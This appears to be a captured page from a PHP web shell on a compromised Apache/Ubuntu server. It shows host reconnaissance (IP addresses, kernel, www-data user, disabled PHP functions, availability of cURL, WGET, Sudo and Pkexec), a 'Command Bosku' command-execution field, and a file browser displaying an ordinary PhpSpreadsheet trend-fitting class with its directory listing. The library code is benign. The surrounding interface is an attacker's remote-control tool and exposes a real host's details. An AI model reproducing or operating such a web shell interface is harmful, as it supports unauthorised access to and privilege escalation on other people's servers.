Na}{

Server IP: 172.31.39.10

Your IP: 172.69.130.202

Web Server: Apache/2.4.52 (Ubuntu)

System: Linux ip-172-31-39-10 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

User: www-data

PHP Version: 7.2.34-54+ubuntu22.04.1+deb.sury.org+1

Disable Function: pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, pcntl_async_signals, [more...]

MySQL: OFF

cURL: ON

WGET: ON

Perl: ON

Python: OFF

Sudo: ON

Pkexec: ON

File Content: `LogarithmicBestFit.php`

<?php

namespace PhpOffice\PhpSpreadsheet\Shared\Trend;

class LogarithmicBestFit extends BestFit
{
    /**
     * Algorithm type to use for best-fit
     * (Name of this Trend class).
     *
     * @var string
     */
    protected $bestFitType = 'logarithmic';

    /**
     * Return the Y-Value for a specified value of X.
     *
     * @param float $xValue X-Value
     *
     * @return float Y-Value
     */
    public function getValueOfYForX($xValue)
    {
        return $this->getIntersect() + $this->getSlope() * log($xValue - $this->xOffset);
    }

    /**
     * Return the X-Value for a specified value of Y.
     *
     * @param float $yValue Y-Value
     *
     * @return float X-Value
     */
    public function getValueOfXForY($yValue)
    {
        return exp(($yValue - $this->getIntersect()) / $this->getSlope());
    }

    /**
     * Return the Equation of the best-fit line.
     *
     * @param int $dp Number of places of decimal precision to display
     *
     * @return string
     */
    public function getEquation($dp = 0)
    {
        $slope = $this->getSlope($dp);
        $intersect = $this->getIntersect($dp);

        return 'Y = ' . $slope . ' * log(' . $intersect . ' * X)';
    }

    /**
     * Execute the regression and calculate the goodness of fit for a set of X and Y data values.
     *
     * @param float[] $yValues The set of Y-values for this regression
     * @param float[] $xValues The set of X-values for this regression
     */
    private function logarithmicRegression(array $yValues, array $xValues, bool $const): void
    {
        $adjustedYValues = array_map(
            function ($value) {
                return ($value < 0.0) ? 0 - log(abs($value)) : log($value);
            },
            $yValues
        );

        $this->leastSquareFit($adjustedYValues, $xValues, $const);
    }

    /**
     * Define the regression and calculate the goodness of fit for a set of X and Y data values.
     *
     * @param float[] $yValues The set of Y-values for this regression
     * @param float[] $xValues The set of X-values for this regression
     * @param bool $const
     */
    public function __construct($yValues, $xValues = [], $const = true)
    {
        parent::__construct($yValues, $xValues);

        if (!$this->error) {
            $this->logarithmicRegression($yValues, $xValues, (bool) $const);
        }
    }
}

Name	Size	Permission
BestFit.php	12486 bytes	0775
ExponentialBestFit.php	3096 bytes	0775
LinearBestFit.php	2140 bytes	0775
LogarithmicBestFit.php	2394 bytes	0775
PolynomialBestFit.php	6509 bytes	0775
PowerBestFit.php	2938 bytes	0775
Trend.php	5012 bytes	0775

Command Bosku:

File Content: LogarithmicBestFit.php

File Content: `LogarithmicBestFit.php`